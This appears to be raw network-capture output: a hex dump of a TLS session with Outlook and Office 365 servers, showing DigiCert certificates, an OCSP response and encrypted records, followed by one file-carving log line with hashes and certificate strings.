69 63 65 33 36 35 2e 63 6f 6d 82 12 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 14 73 75 62 73 74 72 61 74 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 18 73 75 62 73 74 72 61 74 65 2d 73 64 66 2e 6f 66 66 69 63 65 2e 63 6f 6d 30 3e 06 03 55 1d 20 04 37 30 35 30 33 06 06 67 81 0c 01 02 02 30 29 30 27 06 08 2b 06 01 05 05 07 02 01 16 1b 68 74 74 70 3a 2f 2f 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 43 50 53 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 81 9f 06 03 55 1d 1f 04 81 97 30 81 94 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 48 a0 46 a0 44 86 42 68 74 74 70 3a 2f 2f 63 72 6c 34 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 6c 30 81 87 06 08 2b 06 01 05 05 07 01 01 04 7b 30 79 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 51 06 08 2b 06 01 05 05 07 30 02 86 45 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 47 32 54 4c 53 52 53 41 53 48 41 32 35 36 32 30 32 30 43 41 31 2d 31 2e 63 72 74 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 82 01 7d 06 0a 2b 06 01 04 01 d6 79 02 04 02 04 82 01 6d 04 82 01 69 01 67 00 76 00 c2 31 7e 57 45 19 a3 45 ee 7f 38 de b2 90 41 eb c7 c2 21 5a 22 bf 7f d5 b5 ad 76 9a d9 0e 52 cd 00 00 01 9d 02 27 fa 81 00 00 04 03 00 47 30 45 02 20 65 03 d2 b3 b9 5c 5a 3a fb 9c 23 6d 63 a4 98 27 a2 3c ff 95 9c 02 b2 86 93 fa 4b 0b a1 ff 79 f3 02 21 00 92 61 07 97 1c 23 5c 13 3a a4 38 1f 9f 19 43 c1 0e 6f 9f 06 5a 00 8a 1c dd 69 c2 4a 3a e8 4e 9e 00 75 00 d8 09 55 3b 94 4f 7a ff c8 16 19 6f 94 4f 85 ab b0 f8 fc 5e 87 55 26 0f 15 d1 2e 72 bb 45 4b 14 00 00 01 9d 02 27 fa b6 00 00 04 03 00 46 30 44 02 20 59 fb 3c ec a6 4c 86 42 f9 03 36 57 0c 90 b3 77 88 e0 61 fd 0e 50 56 d8 98 38 96 d8 9b 8f 18 98 02 20 70 90 7a 4e d1 25 44 ec e6 3d e2 a4 7b 3c 7e 1b bc 48 cd 7f 17 cb 88 71 32 24 fd 1d 05 48 33 33 00 76 00 94 4e 43 87 fa ec c1 ef 81 f3 19 24 26 a8 18 65 01 c7 d3 5f 38 02 01 3f 72 67 7d 55 37 2e 19 d8 00 00 01 9d 02 27 fa 8e 00 00 04 03 00 47 30 45 02 21 00 bd 0d 16 c1 72 d2 97 d7 e7 7a 36 0b 09 f5 ac 4b 96 90 76 78 7a ea a5 e5 dd 33 89 4d 3d 11 80 08 02 20 79 46 29 5b 52 6f b4 44 ae ca 90 48 88 e1 ae da a1 88 ad e2 b5 0a bf b7 05 37 2a d7 60 1a c6 0d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 c8 d9 9f 18 d8 2d bd 8f df d8 d5 8d d4 40 4d b2 7c 38 25 d1 73 ec 17 50 fc 69 59 6c f7 f7 26 8f 13 f7 b9 82 f0 74 dd ce 49 d3 33 cf 5f 6e 80 24 35 c8 6f 6c 26 58 76 cc 89 56 36 74 1e ec 7a 54 3b d2 b4 f5 83 72 d6 1a 17 1e 67 53 cb 35 bf 16 ba bf 0f ee dd 03 2e c8 5c 7d 8d 80 f5 1c b7 52 09 52 5f 57 ec 8d 10 dd c3 a4 e7 92 30 09 d3 46 34 b8 38 3d 79 f4 61 eb d1 75 2b 81 f5 b7 2c 63 eb c2 d5 ac b1 af 15 97 ae 4f ea 4a 04 e7 46 13 0a a2 23 8f ed 38 e5 e6 42 3e 2a 49 da ee 7f 87 2b 2f 42 10 da d2 be c1 78 d6 dd b3 d1 28 12 da c0 af 73 86 a5 a6 25 3c ae f1 cf d7 03 39 d1 42 e9 52 90 27 4b 6d af f3 41 fe f1 27 5f 1b c0 ec 3b dc 5c 30 36 87 94 28 1a 81 ff da a1 ba 0b 87 86 9f cf 9f 7b c9 74 fb 79 d8 70 c2 20 43 2b de dd 63 d1 d0 71 0a b1 75 8d a5 5e d1 de 17 1b 80 00 04 cc 30 82 04 c8 30 82 03 b0 a0 03 02 01 02 02 10 0c f5 bd 06 2b 56 02 f4 7a b8 50 2c 23 cc f0 66 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 61 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 20 30 1e 06 03 55 04 03 13 17 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 52 6f 6f 74 20 47 32 30 1e 17 0d 32 31 30 33 33 30 30 30 30 30 30 30 5a 17 0d 33 31 30 33 32 39 32 33 35 39 35 39 5a 30 59 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 33 30 31 06 03 55 04 03 13 2a 44 69 67 69 43 65 72 74 20 47 6c 6f 62 61 6c 20 47 32 20 54 4c 53 20 52 53 41 20 53 48 41 32 35 36 20 32 30 32 30 20 43 41 31 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 cc f7 10 62 4f a6 bb 63 6f ed 90 52 56 c5 6d 27 7b 7a 12 56 8a f1 f4 f9 d6 e7 e1 8f bd 95 ab f2 60 41 15 70 db 12 00 fa 27 0a b5 57 38 5b 7d b2 51 93 71 95 0e 6a 41 94 5b 35 1b fa 7b fa bb c5 be 24 30 fe 56 ef c4 f3 7d 97 e3 14 f5 14 4d cb a7 10 f2 16 ea ab 22 f0 31 22 11 61 69 90 26 ba 78 d9 97 1f e3 7d 66 ab 75 44 95 73 c8 ac ff ef 5d 0a 8a 59 43 e1 ac b2 3a 0f f3 48 fc d7 6b 37 c1 63 dc de 46 d6 db 45 fe 7d 23 fd 90 e8 51 07 1e 51 a3 5f ed 49 46 54 7f 2c 88 c5 f4 13 9c 97 15 3c 03 e8 a1 39 dc 69 0c 32 c1 af 16 57 4c 94 47 42 7c a2 c8 9c 7d e6 d4 4d 54 af 42 99 a8 c1 04 c2 77 9c d6 48 e4 ce 11 e0 2a 80 99 f0 43 70 cf 3f 76 6b d1 4c 49 ab 24 5e c2 0d 82 fd 46 a8 ab 6c 93 cc 62 52 42 75 92 f8 9a fa 5e 5e b2 b0 61 e5 1f 1f b9 7f 09 98 e8 3d fa 83 7f 47 69 a1 02 03 01 00 01 a3 82 01 82 30 82 01 7e 30 12 06 03 55 1d 13 01 01 ff 04 08 30 06 01 01 ff 02 01 00 30 1d 06 03 55 1d 0e 04 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1f 06 03 55 1d 23 04 18 30 16 80 14 4e 22 54 20 18 95 e6 e3 6e e6 0f fa fa b9 12 ed 06 17 8f 39 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 01 86 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 24 06 08 2b 06 01 05 05 07 30 01 86 18 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 30 40 06 08 2b 06 01 05 05 07 30 02 86 34 68 74 74 70 3a 2f 2f 63 61 63 65 72 74 73 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 74 30 42 06 03 55 1d 1f 04 3b 30 39 30 37 a0 35 a0 33 86 31 68 74 74 70 3a 2f 2f 63 72 6c 33 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 2f 44 69 67 69 43 65 72 74 47 6c 6f 62 61 6c 52 6f 6f 74 47 32 2e 63 72 6c 30 3d 06 03 55 1d 20 04 36 30 34 30 0b 06 09 60 86 48 01 86 fd 6c 02 01 30 07 06 05 67 81 0c 01 01 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 08 06 06 67 81 0c 01 02 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 90 f1 70 cb 28 97 69 97 7c 74 fd c0 fa 26 7b 53 ab ad cd 65 fd ba 9c 06 9c 8a d7 5a 43 87 ed 4d 4c 56 5f ad c1 c5 b5 05 20 2e 59 d1 ff 4a f5 a0 2a d8 b0 95 ad c9 2e 4a 3b d7 a7 f6 6f 88 29 fc 30 3f 24 84 bb c3 b7 7b 93 07 2c af 87 6b 76 33 ed 00 55 52 b2 59 9e e4 b9 d0 f3 df e7 0f fe dd f8 c4 b9 10 72 81 09 04 5f cf 97 9e 2e 32 75 8e cf 9a 58 d2 57 31 7e 37 01 81 b2 66 6d 29 1a b1 66 09 6d d1 6e 90 f4 b9 fa 2f 01 14 c5 5c 56 64 01 d9 7d 87 a8 38 53 9f 8b 5d 46 6d 5c c6 27 84 81 d4 7e 8c 8c a3 9b 52 e7 c6 88 ec 37 7c 2a fb f0 55 5a 38 72 10 d8 00 13 cf 4c 73 db aa 37 35 a8 29 81 69 9c 76 bc de 18 7b 90 d4 ca cf ef 67 03 fd 04 5a 21 16 b1 ff ea 3f df dc 82 f5 eb f4 59 92 23 0d 24 2a 95 25 4c ca a1 91 e6 d4 b7 ac 87 74 b3 f1 6d a3 99 db f9 d5 bd 84 40 9f 07 98 16 00 01 db 01 00 01 d7 30 82 01 d3 0a 01 00 a0 82 01 cc 30 82 01 c8 06 09 2b 06 01 05 05 07 30 01 01 04 82 01 b9 30 82 01 b5 30 81 9e a2 16 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 18 0f 32 30 32 36 30 36 31 30 30 37 31 38 34 34 5a 30 73 30 71 30 49 30 09 06 05 2b 0e 03 02 1a 05 00 04 14 a7 c4 b8 b3 dc 5b b5 58 1e a7 d7 f1 3a c5 69 f5 6f 48 d7 89 04 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 02 10 05 90 cb d3 65 66 7f 41 04 a9 a2 69 0c 5b 7c 73 80 00 18 0f 32 30 32 36 30 36 31 30 30 37 30 33 30 30 5a a0 11 18 0f 32 30 32 36 30 36 31 37 30 36 30 33 30 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 b6 fe d6 03 e6 9f e2 82 e5 01 91 ad 3f 69 a9 11 91 bc 0c d4 e6 58 6e f3 a1 b8 43 65 b1 32 ed ca 1d bb 16 ec b6 9b 3e c0 29 9d 53 96 44 49 0c 71 4f 5e af ed c7 28 2b eb 82 82 aa f2 fd f7 2f 68 60 dc 70 97 a7 b7 dc 2d 4f 28 a6 4d eb 0d 59 23 57 13 29 9f 0a 61 fc 42 e9 72 95 12 3d dc cc ce f6 4f 89 f7 1e 3e 8c 15 b4 6f 2c a8 04 6d 53 44 a6 4e 14 19 d7 09 06 77 bc 31 66 9a a7 c0 16 99 b1 fa 3c 2e 84 83 6f 58 ff 0b 23 bc 5b 6a a2 f0 d4 f3 36 27 04 f8 b8 19 c5 c4 31 b2 fa c2 42 bf 43 e2 73 9c 8e f7 39 49 2d 2e 89 a6 20 b8 0e 84 36 fb eb dd e1 83 79 bc 87 32 88 eb a0 48 10 d2 64 e2 9d cc f4 a3 3a 29 90 b3 2c c6 15 5a 64 23 f8 d0 30 9a fd 94 fc 85 6c c0 c7 a8 2f 68 55 37 f5 ab 0e 5c 4b db 84 f4 0a 12 17 0e 89 83 c5 9a 69 0e 48 a9 d0 dd 30 df 91 2e 3f 41 bf db 82 7c 0c 00 01 69 03 00 18 61 04 7e 61 bd d1 d2 eb b1 d8 92 50 b0 ec 21 98 c5 c9 5f c3 8f f9 f7 ad ad b2 24 c7 11 bd c1 12 05 60 7d 5e e6 5f 20 96 de a9 f7 e7 b8 18 f4 b3 59 5d 40 df 26 4b 0d 2c 61 fc e4 17 5c d5 22 de 8e 52 4b 36 56 1d 53 d3 28 e7 cd 3d a1 3f fb 6e c6 71 03 50 5a 2d 68 b3 a4 1a 62 cc 75 70 fa fd 06 1e 08 04 01 00 a0 1b b1 c5 25 8c 2e e4 74 90 9c 50 72 2e b9 67 05 f9 38 64 d3 32 42 41 6c 2b ef 6e 0b ef 30 cd e4 0f fc 55 5a f8 fd 50 e5 2f 12 63 d6 62 45 ef 9d f5 9d a8 96 c2 75 ad 9e 8e d5 3d 97 0c 54 70 82 86 9e 9b a3 61 dc 71 aa 09 72 38 25 7a d9 09 e6 21 3d 4c 0a 1a 4a a7 da 18 aa b0 92 6c a7 ef e6 b0 b7 0f a8 22 58 f0 2f b3 3e ba ee da 86 eb a4 b1 a8 84 65 1d e8 40 5c 5e 11 1d cd ed 21 56 d4 2e e5 eb 2c 3b 76 fd c5 03 9b ea 6e ec 74 00 04 e6 ac 15 e0 8f e9 f3 d9 05 97 9a 09 e1 b2 ef ca bb d6 7c e8 89 93 37 51 44 a3 3e db cb 06 b0 25 27 93 02 88 8d c4 6e 54 fb ce 0b 3c d6 ab 59 29 48 0e 44 6a 2f 22 d6 34 e4 50 2e 01 25 cf bb 96 bb fa 56 17 b1 27 48 13 4d c4 eb fe cc 0f f1 89 16 bf b2 8c 32 41 76 de 47 48 56 7a ff 2d 5d 98 ae 36 3a 68 7c 8f 4b 01 5c b6 cd 33 2a 0a 00 0e 00 00 00 16 03 03 01 2e 04 00 01 2a 00 00 8c a0 01 24 00 00 00 00 94 5e 01 69 33 01 9c 4f 9b a9 c3 80 ee d9 f0 7c 63 c5 46 8f ad 74 3c 0f c0 01 0d cf 80 3c 7f 2d d7 cb 4e 75 d0 bb f9 f4 59 f8 41 81 e1 a1 1f 13 94 11 4d 25 01 8b 92 c6 ed 34 e1 68 48 62 32 94 f3 6c 32 49 74 4e 73 fc 44 6e 03 e5 78 fc aa 9f cf 0a a5 bf f6 c0 07 18 2a 40 78 77 43 07 85 2e 70 ae 1d 2f 95 5d d8 d8 0f e6 7e 8e a8 e4 4a 5e c5 ee 78 e8 9c 1f e6 5c 56 30 d4 43 49 28 7f e6 5a a9 4b 45 6e c5 e4 b4 62 1c be 25 e2 8e f3 ff fc db b3 f9 95 73 fe bf 3f 7f d5 e4 48 97 a9 ed d6 bd d8 b0 21 67 e0 a1 0c da d4 1a a4 b2 d4 88 23 c5 ea 7a 07 62 42 54 13 6c 0f d7 43 d5 91 6a 7d b9 a1 59 77 64 0b 45 3f 94 91 a8 50 8a fd b1 aa d3 f6 ea 8e a0 fc 8e c2 b8 f0 23 99 dd 5b 14 51 a9 ef 9f d8 63 f3 c9 c5 84 c3 51 c2 cc 2c 8a b3 f5 34 c2 84 8a 7f ad e5 ab b8 9d d4 4d c6 b9 4b 84 28 07 a3 64 4c 81 2c 67 fb 07 35 3e 50 67 6f 3a ab f2 1b 3a 54 ca 17 0b 34 2e 31 6d fc 3a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 45 9f e6 33 ee b6 36 7e 2b 1a c1 7f 80 17 b3 5a 62 4f 70 fb c7 d7 55 b1 c6 37 99 8c 50 39 ef ff 17 03 03 00 40 00 00 00 00 00 00 00 01 c2 26 d6 0f 22 41 ae d8 7e 0f 5f 44 41 16 e2 c7 34 5c 22 02 b0 fa 39 f1 bf e8 05 9a f0 28 83 a7 60 02 43 22 bd 4f f9 60 b5 76 b3 b1 18 97 41 0b 30 cb 54 3e af d3 9e 01 17 03 03 00 21 00 00 00 00 00 00 00 02 d1 dc 0d 5b 22 34 7a e2 ae 85 1f e4 a1 12 37 ab 2e 58 65 cc 85 cf 4a 06 79 17 03 03 03 06 00 00 00 00 00 00 00 03 36 0f ca 08 4c 87 06 1c 89 c1 c8 76 3e 00 62 97 38 2d d9 f9 c3 21 b2 00 97 1e c6 b8 fb 32 51 74 e1 bd da 02 99 15 0c b5 44 7c 75 68 90 27 84 74 77 3d 50 26 d9 62 e5 26 fe c0 65 c8 cc f3 ec c8 93 96 21 a4 69 c5 33 b3 de 1c 9d 24 8e 9c 40 57 bd 33 6a 7f 52 70 64 cf 33 20 bd e8 54 da 27 bb 4b 0e 7e e6 8f 9b 5d fa 66 aa 56 32 b1 c4 4b 7a 0e 58 ac 71 56 da 11 82 5c 7a 70 a1 4d 99 c7 3a 43 88 d9 16 db ae 35 52 a9 27 f0 ca b9 e3 2f 21 59 40 b2 ae f9 26 f0 90 40 20 b6 44 0e 89 da 4c 41 25 4e 23 59 fd a7 a8 44 0c 41 c8 69 a7 85 0b 8c ec 8e 71 f0 16 8b d2 9c 80 d2 ed de 17 91 f5 f6 9a ae 7e 9e 65 e3 04 98 b6 c7 cb 75 99 eb f4 ea 24 a8 72 b0 ca 26 f4 8b d8 1c 9f 5d 72 8c ff 40 c1 b8 bb 76 0c a2 51 42 8c 33 f4 a7 e0 c3 66 95 ee 02 51 06 ea aa 54 7a 37 fa c3 b6 e5 11 04 fb 0c b8 88 52 38 a4 f1 40 09 00 2d a6 1c a8 80 0a 8f 0b 14 9c 96 6a 83 e0 a4 67 b9 b7 00 aa e1 be e3 3b 3f cd ba 79 fa 1e ac 63 bd 3a 0c 4b e9 61 d6 05 57 d7 32 14 a1 3b e8 bc 22 f1 59 2a 62 92 ad 73 91 20 69 25 be bc 42 89 41 bc 68 20 c3 27 5f 31 e6 38 08 a6 58 b8 03 d6 55 48 3a 5e 56 84 8d 9d a3 b0 3d 03 20 bc 7f f1 3e 06 4d b5 f3 ac f4 49 ee 7e 68 9a 93 13 32 b6 98 e2 56 c5 d8 ff d0 5d db cb 99 6d 08 76 da 12 cb 95 b9 69 59 67 96 74 1c 50 bd 53 6b 0f ea aa 08 87 ff d6 c8 a3 e0 ba ed 2e 89 e7 cd 9e b0 9d bf 07 44 6a 0c 2e 2e f7 b9 8f 37 21 28 82 bc 0d a3 78 42 8f 3e ee d9 12 5c f9 76 e5 0a d7 bb 41 bc 40 a0 8d 0b d8 07 1f 66 cc 12 81 10 51 09 5b db 60 54 5c 9a 5e c2 32 c9 66 4e 53 9f 63 c3 3f e9 a1 36 5c 5e e8 25 55 7f ae 16 0c 1d db 0b a5 a7 65 93 aa 04 8b 37 9b 45 7a c6 26 9e 50 d0 64 0b d1 33 fc a9 9f 0a cd fa d0 5e 79 5d 6d ce 7a ae ce 43 7e 1d 77 5c d9 18 55 33 c8 3d 52 e0 85 30 97 90 dd bf c2 07 39 12 32 36 c4 ea 94 72 f0 ce 50 6e 89 9b d5 53 51 60 94 2c d5 3a 6c ad 53 80 90 72 7c 1d c4 1f 81 e2 8e e6 b8 ff 40 50 62 1e 01 b6 b0 6b 91 d7 ab 63 e4 4b 42 78 04 3c 4d 1b fa 21 4d 01 8b 77 ce cc 7d 03 19 59 23 08 81 63 e6 5d 72 8f 98 ab e6 42 bc 08 f7 43 b1 89 c6 58 4b 79 eb f0 50 77 2a 81 e3 4f 05 f6 4e 16 1a f0 f7 91 2d 41 f3 0c fb 8d a7 22 7b 84 f7 ad 1c 09 1c a7 de bb 93 63 d7 0d 83 84 1b af 5c 6a c0 b6 5f 86 2e 98 08 5d 75 7b 7a 86 8a 3d a6 a1 ca a0 94 6c 04 d3 76 6a eb 5f 40 82 93 1f 8c f3 9d 72 7e 54 1f b4 d4 8c 01 51 dc 95 d8 35 1f 33 7a c1 d2 e0 62 f3 c2 86 37 75 fa 2c a2 c3 19 3f 6d 1b d1 79 17 03 03 00 cf 00 00 00 00 00 00 00 04 0d 9f 85 44 22 9a da 3e f4 f1 9d d3 d8 55 85 5f 50 e1 9e 33 6c 98 16 7c e0 53 ea d8 0b f3 c9 4a 65 10 ae b1 0d c8 fb fb ec 2b de 19 90 0d 50 58 06 2c 8e 87 fd 7c b9 66 e9 77 ab 3d 48 11 b4 f7 c8 8f 16 4d cf 7f 92 07 77 66 cd d7 aa 4c a9 81 5b 1c 94 04 36 ab 99 d0 9b de df 59 d7 c5 df 0c 56 3f d9 3e 89 bd f5 e6 33 08 14 78 c0 08 9f 58 43 d8 36 29 8d 09 aa ef 94 98 5b 3f 88 ee 04 ef 71 25 f5 c5 54 eb fb ca d2 eb 1d 16 77 de 54 43 e7 13 ed 7e 08 e0 9b e9 41 e2 5b 48 7b 00 bf 79 49 2a 4f 41 08 bc f5 eb 73 8f d7 61 a9 df 56 14 86 00 94 e5 54 3a 7d 79 4c ee e7 5d 53 b7 ea 83 86 1d 68 d9 04 84 90 17 03 03 00 21 00 00 00 00 00 00 00 05 df 88 d1 3a 73 62 d2 7d a0 f5 5d c3 9e 5e bd 3f bb cd 25 f9 91 e1 4a cb 07 17 03 03 02 ce 00 00 00 00 00 00 00 06 35 ff 5a 1b e6 ec 5d 7e 39 df 88 b6 54 ca 5d da b4 b5 2e 4e 64 e3 ed ca 5f 81 24 8a e9 3a aa 9c 2f e7 86 18 da 07 46 a9 58 73 81 f8 a9 a5 96 24 13 7a 02 be 20 0e c8 6d d7 87 19 84 db ea bd 7b 43 63 2c 75 72 92 e1 28 56 ce 52 4c 1a 8d 69 ca 80 0d c6 5a 52 e2 81 f7 f0 73 a7 4b 39 fd dc a6 04 cc 18 ec 24 d2 bb 51 a4 cd de 29 36 bc 73 8f d0 b1 48 4c fb 71 95 3a 05 05 8d 40 d5 b3 89 16 9e 99 f5 e4 63 83 fe 08 43 62 29 f6 91 d5 81 cd 6f 29 85 1d 17 db 42 a5 fa 69 b8 92 4b fb d9 69 be 6b ac c9 9b 26 cf 50 f6 f1 b8 69 cc 32 08 d0 0e 22 f5 01 c6 61 cc c8 f1 4c 03 f4 8f fd b8 80 9d 81 e5 80 a2 7f 76 6a 15 7a d4 a6 ea d7 98 c8 cd ef ee 64 97 62 77 53 24 ec ca 34 27 72 ab 56 91 f2 a0 6a a5 ef 20 b8 2d fc 57 a7 dd 27 27 c7 c3 a4 7a af 79 2d 29 8b 61 02 27 d1 a1 ae 68 c4 be 2d ee d8 55 55 2f d0 37 dc 7b 82 6d ea cb 80 52 25 d3 f6 a0 b2 37 c3 26 46 73 18 cb 65 fd 25 9e c1 fd a7 01 12 9f d0 a5 30 8d f7 f2 ca 22 15 b7 60 70 e8 ea e9 16 91 59 f7 48 78 61 c4 cb 02 41 ef 19 6e d5 5c aa fc 5f c6 f2 65 6b 04 0a ab 81 75 27 38 b2 75 fc 28 37 9d b4 c7 54 01 46 39 e6 9c ca fe 8b 7e a8 76 4b 76 18 b0 8f f8 d1 9b 52 a7 1a 94 ea 75 2b 06 52 04 4c 83 f6 07 5f dc 0f cd c0 c8 48 a8 eb 33 60 25 78 c9 10 04 52 46 f9 a3 2a 52 d2 ab ce 51 17 94 db 9b 7b c6 49 3a 4e eb 0f 08 1a 14 d8 b9 07 33 80 29 9f 0e 9e 10 e4 c4 53 80 6e 97 82 fe 71 8d e7 e3 3d 7b 56 7d 62 88 d8 cf da f5 4f df 6a 7a 5e 08 e3 fe 03 4f a4 60 ec 4b 83 b5 45 d5 9b 7e 09 2c ab ec 4a b5 79 f2 55 cb 31 37 5d 86 3d 77 dc 95 db 31 51 32 f5 fe 94 82 bb 27 70 33 a7 3e ab 8e be 69 62 9f 12 9c 23 22 7d 87 ee f4 74 a7 56 03 84 7e ff ae 7d f3 b5 56 e0 74 1f 1d 6b 61 1f d2 13 8f 96 a8 f4 c0 db 77 04 01 bc 1c c3 ee 0c bd d6 1b 5b 1e 8e 02 29 93 8a e0 4c 8f 1a 37 2b 67 8c 30 8a 30 b4 1f 93 95 1a 1d e7 3a 38 9e 21 13 09 cb 04 00 b9 a6 0f c0 55 ce b0 19 58 48 2c 63 c7 29 8d e4 83 27 ba d2 9f cc ac b8 c2 ec 1c 5e 09 cb 96 5e 0a 04 e8 89 d5 d5 d7 75 f0 54 e3 fb 84 0f c2 f8 56 5d 4d 12 ce 30 1a 2e a2 9b 0c 11 23 8e b0 c7 4e 1a 5b 32 9d a4 56 48 f0 b9 8d b7 d4 8a 03 43 47 89 05 0d 7d 37 84 34 6c c6 cb 56 46 52 38 97 66 22 2a f6 3e a7 ac 07 e4 72 31 2f 46 93 7b 9c 6d aa 92 86 85 29 17 03 03 02 6f 00 00 00 00 00 00 00 07 e7 4a ce 79 29 1e dd fe 50 b6 25 a9 78 d7 4f f5 00 46 26 06 73 70 31 49 26 ed cd ae a6 ad 75 81 01 0b 16 29 37 d7 98 4f bd c6 95 60 cc bc 7d 38 4e ff 02 bf 26 7c 6e d3 e0 8c bf 0c dc 46 79 68 aa ae f8 b8 11 f6 84 b9 28 ee 86 4a 6c 7e 15 cb 9e 2b 51 74 f2 18 93 7f 4b 9b 56 3a 2a 91 d3 70 d2 ae 64 7f 42 fd 36 c3 ac 5a e6 0a ab 6f 5e 8d 74 7e f1 67 52 4a 23 66 75 8b db b8 23 c9 b0 72 67 43 04 08 4c 9b e8 b0 0e 85 37 42 fb 93 e1 78 13 4f 3c ae 12 33 42 54 5d 9d fc 6b 09 d7 fa 8a 4b 1d ca 3f 44 18 83 a4 5b 20 9b 40 5d 32 cb f1 99 78 2a 74 c7 1f 02 62 88 28 d3 ca dd 34 5f 5a 21 94 46 13 8a 15 4c dd 2f 4e 48 3d 97 df d1 e3 0f 6d d8 68 0f cb fe 68 3f 5e 7b 21 78 5f 7b ce c0 69 87 03 db c6 a1 c8 60 5c fd 86 d1 ae 11 fd 18 8c 20 7e f5 b0 08 b4 11 81 2e 2f fd d7 d6 34 98 4b cc 28 39 75 c1 30 15 3c 20 93 70 86 c0 93 60 d5 40 72 66 ad 5c 09 98 a0 38 a7 59 61 5b 68 68 15 bd 20 30 a8 a8 38 c7 5d c8 33 1f 05 be 79 b3 9c 52 9a 34 2d 3a 8b 93 dc b2 5b a5 5c cb ef 8d cf 1a df 4c 8b ce e0 56 34 b6 77 f6 93 88 9d 2b a7 2a 93 44 0a 06 5b 10 0f 44 a7 85 7f 34 f2 7c 2e 36 1f 9f e8 fb 5d 3e f5 f7 97 db 1e 01 7f 5f 01 96 65 f0 f8 3f c5 d2 3d 86 e0 49 9c cb 1b 78 ea e4 18 e6 2c 7a b3 24 b0 ab 3b f8 83 63 63 78 ab ae ce b8 be 90 96 cb c9 c2 1d 1f 0f 75 b3 fe 64 d1 34 4c 41 3c ca f3 0c 94 ec e0 61 48 96 7e 52 9a 47 88 71 bf bc 34 d0 f8 55 a9 b3 b0 1e 49 f7 77 1a df 23 ca 60 3f 56 eb ab c0 8f c7 7c 63 4e f7 75 bf 34 3b 58 b0 35 0b fb 4c 96 af 5f ce f5 2d 8e b1 5f 8a 15 47 ee 03 a5 4b b4 7d 3d 22 9e fe 90 b8 35 8e d7 6a 6b 40 52 96 d3 ab 2b 15 1d 62 10 97 5c 8f e6 d4 1d a6 63 ad 39 09 b7 69 e2 59 7d e2 05 51 4a 83 c1 1d e3 2d 71 bd 43 53 16 2d 1b 11 e0 38 fe 2d bf 36 43 3a 42 ee 61 7f 81 d3 84 44 ad f4 a6 6a 13 30 47 5a 62 b9 16 3c 6c b0 36 d7 2b 58 c2 50 55 ce 96 c3 1b 76 06 c3 c7 47 29 e2 a2 c3 ee f4 23 2a fa 1b 77 64 6f bd c5 bf 93 5a 94 60\n2026-06-14T20:04:32.175566,10.152.152.11:64010->132.245.230.33:443,10.152.152.11,64010,132.245.230.33,443,HTTP,carved_10.152.152.11:64010-132.245.230.33:443_bwd_2.gzip,gzip,/tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:64010-132.245.230.33:443_bwd_2.gzip,6712,4a2bfdf8615ea59d877d4af0d9cf3219,31d2295442da03b047d23f22601a0f1a4b8e045ed2888bd1452b8a67498ee58f,7.74,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, 